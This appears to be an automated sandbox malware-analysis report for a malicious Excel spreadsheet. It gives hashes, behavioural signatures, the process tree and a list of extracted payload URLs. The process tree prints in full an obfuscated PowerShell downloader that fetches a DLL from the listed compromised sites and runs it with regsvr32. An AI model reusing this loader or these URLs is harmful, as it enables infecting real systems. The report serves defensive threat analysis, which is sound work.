Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/11/2024, 21:49
Behavioral task
behavioral1
Sample
d0fcef29eba72bd4f38c9fef2bfc2719502182043861459ede6a7d84de69e15f.xls
Resource
win7-20240903-en
General
-
Target
d0fcef29eba72bd4f38c9fef2bfc2719502182043861459ede6a7d84de69e15f.xls
-
Size
88KB
-
MD5
5070a2a3d76978b04a1b8ca05448d88b
-
SHA1
b3ef7867582157ed4276866bc262412ca0819c9e
-
SHA256
d0fcef29eba72bd4f38c9fef2bfc2719502182043861459ede6a7d84de69e15f
-
SHA512
7bbc296ed13b8ce756625dc5a8528b83c6254135ba0f53a59694788698378fa4bd2b3daad1ba2443bfa31ff4aac0cc4f7aab2da38cb8baabbc77fd1bd4e137de
-
SSDEEP
1536:Bsyehv7q2Pjx45uoDGTj+5xtekEvi8/dgL8EsAeE9jbDXQA5kWvgrPE4nWHPNc2+:Cyehv7q2Pjx45uoDGTj+5xtekEvi8/dd
Malware Config
Extracted
http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
https://1566xueshe.com/wp-includes/z92ZVqHH8/
http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/
http://o2omart.co.in/infructuose/m4mgt2MeU/
http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/
http://www.ama.cu/jpr/VVP/
http://actividades.laforetlanguages.com/wp-admin/dU8Ds/
https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/
https://edu-media.cn/wp-admin/0JAE/
https://iacademygroup.cl/office/G42LJPLkl/
https://znzhou.top/mode/0Qb/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1732 1948 wscript.exe 81 -
Blocklisted process makes network request 8 IoCs
flow pid Process 27 1972 powershell.exe 37 1972 powershell.exe 40 1972 powershell.exe 44 1972 powershell.exe 59 1972 powershell.exe 61 1972 powershell.exe 70 1972 powershell.exe 75 1972 powershell.exe -
pid Process 1972 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1948 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1972 powershell.exe 1972 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1972 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE 1948 EXCEL.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 1948 wrote to memory of 1732 1948 EXCEL.EXE 86 PID 1948 wrote to memory of 1732 1948 EXCEL.EXE 86 PID 1732 wrote to memory of 1972 1732 wscript.exe 87 PID 1732 wrote to memory of 1972 1732 wscript.exe 87 PID 1732 wrote to memory of 4012 1732 wscript.exe 97 PID 1732 wrote to memory of 4012 1732 wscript.exe 97 PID 4012 wrote to memory of 1864 4012 cmd.exe 99 PID 4012 wrote to memory of 1864 4012 cmd.exe 99 PID 4012 wrote to memory of 1864 4012 cmd.exe 99
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d0fcef29eba72bd4f38c9fef2bfc2719502182043861459ede6a7d84de69e15f.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1948 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\bbiwjdf.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1972
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll3⤵
- Suspicious use of WriteProcessMemory
PID:4012 -
\??\c:\windows\syswow64\regsvr32.exec:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll4⤵
- System Location Discovery: System Language Discovery
PID:1864
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1KB
MD57baad56cc483132b8b9cb7a14722c3b1
SHA1602f7933c443765697bb178ca137f17f81856f0d
SHA25631cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee
SHA512b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f